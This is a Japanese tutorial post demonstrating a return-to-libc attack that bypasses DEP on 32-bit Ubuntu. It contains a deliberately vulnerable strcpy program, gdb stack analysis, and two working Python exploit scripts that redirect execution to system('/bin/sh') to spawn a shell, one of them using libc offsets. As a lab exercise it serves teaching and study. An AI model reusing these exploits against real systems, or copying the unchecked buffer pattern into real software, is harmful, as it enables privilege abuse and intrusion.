Return-to-libcでDEPを回避してみる
DEPが有効になっていると、データ領域に実行可能ビットが立たなくなるため、スタックに置いたシェルコードを実行させることができなくなる。 しかしこのような場合でも、スタックの状態を調整した上でライブラリ関数にジャンプすることで、関数を実行させることができる。 この方法はReturn-to-libcと呼ばれる。 ここでは、実際にスタックバッファオーバーフローからReturn-to-libcによりシェルを起動してみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
バッファサイズ300で、第一引数の入力によりスタックバッファオーバーフローが起こるコードを書く。 ここでは後で調べる手間を省くために、puts関数とsystem関数のアドレスも表示させておく。
/* bof.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buf[300] = {}; /* set all bytes to zero */
printf("buf = %p\n", buf);
printf("puts = %p\n", puts);
printf("system = %p\n", system);
strcpy(buf, argv[1]);
puts(buf);
return 0;
}
ASLR、SSPを無効にし、DEPのみを有効にした状態でコンパイルする。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc -fno-stack-protector bof.c
objdumpコマンドで実行ファイルのプログラムヘッダを調べると、STACKのところにxビットが立っていない、つまりスタック領域のデータが実行不可になっていることが確認できる。
$ objdump -x a.out
Program Header:
PHDR off 0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
filesz 0x00000120 memsz 0x00000120 flags r-x
INTERP off 0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0
filesz 0x00000013 memsz 0x00000013 flags r--
LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
filesz 0x00000704 memsz 0x00000704 flags r-x
LOAD off 0x00000f14 vaddr 0x08049f14 paddr 0x08049f14 align 2**12
filesz 0x0000010c memsz 0x00000114 flags rw-
DYNAMIC off 0x00000f28 vaddr 0x08049f28 paddr 0x08049f28 align 2**2
filesz 0x000000c8 memsz 0x000000c8 flags rw-
NOTE off 0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2
filesz 0x00000044 memsz 0x00000044 flags r--
EH_FRAME off 0x00000604 vaddr 0x08048604 paddr 0x08048604 align 2**2
filesz 0x00000034 memsz 0x00000034 flags r--
STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
filesz 0x00000000 memsz 0x00000000 flags rw-
RELRO off 0x00000f14 vaddr 0x08049f14 paddr 0x08049f14 align 2**0
filesz 0x000000ec memsz 0x000000ec flags r--
また、lddコマンドでダイナミックリンクしている共有ライブラリを調べると、libcがリンクされていることがわかる。
$ ldd a.out
linux-gate.so.1 => (0xb7fff000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e4d000)
/lib/ld-linux.so.2 (0x80000000)
ここでは、ジャンプ先としてsystem(3)を使ってシェル起動することを考える。
system関数呼び出し前後の状態を調べてみる
まずは、簡単なプログラムを使ってsystem関数を呼び出した前後の状態を調べてみる。
/* system.c */
#include <stdlib.h>
int main()
{
system("/bin/sh");
return 0;
}
$ gcc system.c $ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: 0x080483e4 <+0>: push ebp 0x080483e5 <+1>: mov ebp,esp 0x080483e7 <+3>: and esp,0xfffffff0 0x080483ea <+6>: sub esp,0x10 0x080483ed <+9>: mov DWORD PTR [esp],0x80484d0 0x080483f4 <+16>: call 0x8048300 <system@plt> 0x080483f9 <+21>: mov eax,0x0 0x080483fe <+26>: leave 0x080483ff <+27>: ret End of assembler dump. (gdb) b system Breakpoint 1 at 0x8048300 (gdb) run Starting program: /home/user/tmp/a.out Breakpoint 1, 0xb7e6a430 in system () from /lib/i386-linux-gnu/libc.so.6 (gdb) i r esp ebp esp 0xbffff73c 0xbffff73c ebp 0xbffff758 0xbffff758 (gdb) x/20wx $esp 0xbffff73c: 0x080483f9 0x080484d0 0x00000000 0x08048409 0xbffff74c: 0xb7fd0ff4 0x08048400 0x00000000 0x00000000 0xbffff75c: 0xb7e444d3 0x00000001 0xbffff7f4 0xbffff7fc 0xbffff76c: 0xb7fdc858 0x00000000 0xbffff71c 0xbffff7fc 0xbffff77c: 0x00000000 0x0804821c 0xb7fd0ff4 0x00000000 (gdb) x/i 0x080483f9 0x80483f9 <main+21>: mov eax,0x0 (gdb) x/s 0x080484d0 0x80484d0: "/bin/sh" (gdb) x/i 0xb7e444d3 0xb7e444d3 <__libc_start_main+243>: mov DWORD PTR [esp],eax (gdb) x/s *0xbffff7f4 0xbffff915: "/home/user/tmp/a.out" (gdb) x/4s *0xbffff7fc 0xbffff92a: "SHELL=/bin/bash" 0xbffff93a: "TERM=xterm-256color" 0xbffff94e: "SSH_CLIENT=192.168.56.1 56046 22" 0xbffff96f: "SSH_TTY=/dev/pts/0" (gdb) b *0x080483f9 Breakpoint 2 at 0x80483f9 (gdb) cont Continuing. $ Breakpoint 2, 0x080483f9 in main () (gdb) i r esp ebp esp 0xbffff740 0xbffff740 ebp 0xbffff758 0xbffff758 (gdb) cont Continuing. [Inferior 1 (process 11016) exited normally] (gdb) q
整理すると、次のようになっていることがわかる。
0xbffff73c:
0x080483f9 (return address from system) <- esp1
0xbffff740:
0x080484d0 ("/bin/sh") <- esp2
0x00000000
0x08048409
0xb7fd0ff4
0x08048400
0x00000000
0xbffff758:
0x00000000 (saved ebp) <- ebp
0xb7e444d3 (return address from main)
0x00000001 (argc)
0xbffff7f4 (*argv[])
0xbffff7fc (*envp[])
0xb7fdc858
0x00000000
0xbffff71c
0xbffff7fc
system関数呼び出し直後のespはesp1であり、system関数が終わるとespにあるリターンアドレスにジャンプし、espはesp2になる。 より詳しく言えば、ret命令が実行されるとespが指すアドレスにジャンプした上でespが1ワード先に進められる。
これらのことより、スタックバッファオーバーフローによりリターンアドレスをsystem関数のアドレスに書き換え、その先が「system関数からのリターンアドレス」「system関数の第一引数」となるようにデータを送り込めばよいことがわかる。
エクスプロイトコードを書いてみる
# exploit.py
import sys
import struct
from subprocess import Popen
bufsize = int(sys.argv[1])
addr = int(sys.argv[2], 16)
addr_buf = int(sys.argv[3], 16)
buf = 'A' * bufsize
buf += 'AAAA' * 3
buf += struct.pack('<I', addr)
buf += 'AAAA'
buf += struct.pack('<I', addr_buf+len(buf)+4)
buf += '/bin/sh'
with open('buf', 'wb') as f:
f.write(buf)
p = Popen(['./a.out', buf])
p.wait()
このコードはバッファサイズ、ライブラリ関数のアドレス、バッファの先頭アドレスを順に引数に取り、構築したデータをa.outの第一引数にセットして実行する。
試しに、ライブラリ関数のアドレスとしてputs関数を指定して実行してみる。
$ gcc -fno-stack-protector bof.c $ python exploit.py 300 0x8048380 0xbffff4f4 buf = 0xbffff4f4 puts = 0x8048380 system = 0x8048390 (snip) /bin/sh
"/bin/sh" という文字列が出力されていることがわかる。
puts関数の代わりにsystem関数のアドレスを指定してみる。
$ python exploit.py 300 0x8048390 0xbffff4f4 buf = 0xbffff4f4 puts = 0x8048380 system = 0x8048390 (snip) $
シェルが立ち上がることが確認できた。
共有ライブラリ内の文字列を利用する
先のエクスプロイトコードでは "/bin/sh" という文字列をスタック上に用意したが、共有ライブラリ内に文字列があればそのアドレスを使うこともできる。
実際にstringsコマンドで調べてみる。
$ strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "sh$" e106 inet6_opt_finish eff7 _IO_wdefault_finish f5b8 _IO_fflush 113a8 _IO_file_finish 11897 bdflush 11cc5 tcflush 11f77 _IO_default_finish 15f405 Trailing backslash 15f8f8 sys/net/ash 161d98 /bin/sh 163d28 /bin/csh 1a6f1c .gnu.hash
先頭から0x161d98バイトの位置に、"/bin/sh" があることがわかる。
同様にreadelfコマンドまたはnmコマンドでシンボルテーブルを調べることで、system関数の位置も調べられる。
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system" 1422: 0003f430 141 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0 $ nm -D /lib/i386-linux-gnu/libc.so.6 | grep " system" 0003f430 W system
system関数は先頭から0x0003f430バイトの位置にあることがわかる。
実行中のプロセスにおいて共有ライブラリがどのアドレスにロードされているかは、/proc/$PID/maps を見ることで調べられる。
gdbを使うと、次のようにして調べることもできる。
$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x8048479
Starting program: /home/user/tmp/a.out
Temporary breakpoint 1, 0x08048479 in main ()
(gdb) info proc mappings
process 11085
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0x0 /home/user/tmp/a.out
0x8049000 0x804a000 0x1000 0x0 /home/user/tmp/a.out
0x804a000 0x804b000 0x1000 0x1000 /home/user/tmp/a.out
0xb7e2a000 0xb7e2b000 0x1000 0x0
0xb7e2b000 0xb7fcf000 0x1a4000 0x0 /lib/i386-linux-gnu/libc-2.15.so
0xb7fcf000 0xb7fd1000 0x2000 0x1a4000 /lib/i386-linux-gnu/libc-2.15.so
0xb7fd1000 0xb7fd2000 0x1000 0x1a6000 /lib/i386-linux-gnu/libc-2.15.so
0xb7fd2000 0xb7fd5000 0x3000 0x0
0xb7fdb000 0xb7fdd000 0x2000 0x0
0xb7fdd000 0xb7fde000 0x1000 0x0 [vdso]
0xb7fde000 0xb7ffe000 0x20000 0x0 /lib/i386-linux-gnu/ld-2.15.so
0xb7ffe000 0xb7fff000 0x1000 0x1f000 /lib/i386-linux-gnu/ld-2.15.so
0xb7fff000 0xb8000000 0x1000 0x20000 /lib/i386-linux-gnu/ld-2.15.so
0xbffdf000 0xc0000000 0x21000 0x0 [stack]
(gdb) quit
A debugging session is active.
Inferior 1 [process 11085] will be killed.
Quit anyway? (y or n) y
これより、libcは0xb7e2b000に読み込まれていることがわかる。 このアドレスはベースアドレスと呼ばれることもある。
以上のことより、文字列や関数が実際に配置されるアドレスを次のように求めることができる。
"/bin/sh": 0xb7e2b000 + 0x161d98 system: 0xb7e2b000 + 0x0003f430
共有ライブラリのベースアドレスからのオフセットをもとにしたエクスプロイトコードを書いてみる。
# exploit2.py
import sys
import struct
from subprocess import Popen
bufsize = int(sys.argv[1])
libc_base = int(sys.argv[2], 16)
system = libc_base + 0x0003f430
binsh = libc_base + 0x161d98
"""
$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep " system"
0003f430 W system
$ strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "sh$"
161d98 /bin/sh
(gdb) i proc map
0xb7e2b000 0xb7fcf000 0x1a4000 0x0 /lib/i386-linux-gnu/libc-2.15.so
0xb7fcf000 0xb7fd1000 0x2000 0x1a4000 /lib/i386-linux-gnu/libc-2.15.so
0xb7fd1000 0xb7fd2000 0x1000 0x1a6000 /lib/i386-linux-gnu/libc-2.15.so
"""
buf = 'A' * bufsize
buf += 'AAAA' * 3
buf += struct.pack('<I', system)
buf += 'AAAA'
buf += struct.pack('<I', binsh)
with open('buf', 'wb') as f:
f.write(buf)
p = Popen(['./a.out', buf])
p.wait()
このコードはバッファサイズ、libcのベースアドレスを順に引数に取る。
ベースアドレスを指定して実行してみる。
$ python exploit2.py 300 0xb7e2b000 buf = 0xbffff4f4 puts = 0x8048380 system = 0x8048390 (snip) $
スタック上のデータを使わず、シェルが立ち上がることを確認できた。